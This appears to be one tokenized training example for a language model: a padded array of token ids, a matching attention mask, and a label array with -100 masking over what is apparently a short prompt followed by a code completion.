[ 1, 19, 21131, 2339, 438, 6264, 487, 279, 509, 5034, 358, 4543, 18035, 560, 27660, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 5754, 23539, 438, 12, 203, 3639, 1758, 389, 6011, 16, 203, 3639, 1758, 389, 2316, 382, 16, 203, 3639, 1758, 389, 2316, 1182, 16, 203, 3639, 2254, 1578, 389, 11246, 438, 5027, 16, 203, 3639, 2254, 5034, 389, 8949, 382, 203, 565, 262, 2713, 1476, 1135, 261, 11890, 5034, 3844, 1182, 13, 288, 203, 3639, 509, 5034, 2339, 438, 6264, 273, 587, 58, 23, 10477, 18, 8559, 406, 24899, 6011, 16, 389, 11246, 438, 5027, 1769, 203, 3639, 327, 203, 5411, 587, 58, 23, 10477, 18, 588, 10257, 861, 6264, 12, 203, 7734, 587, 58, 23, 10477, 18, 869, 5487, 10392, 24899, 8949, 382, 3631, 203, 7734, 389, 2316, 382, 16, 203, 7734, 389, 2316, 1182, 203, 5411, 11272, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]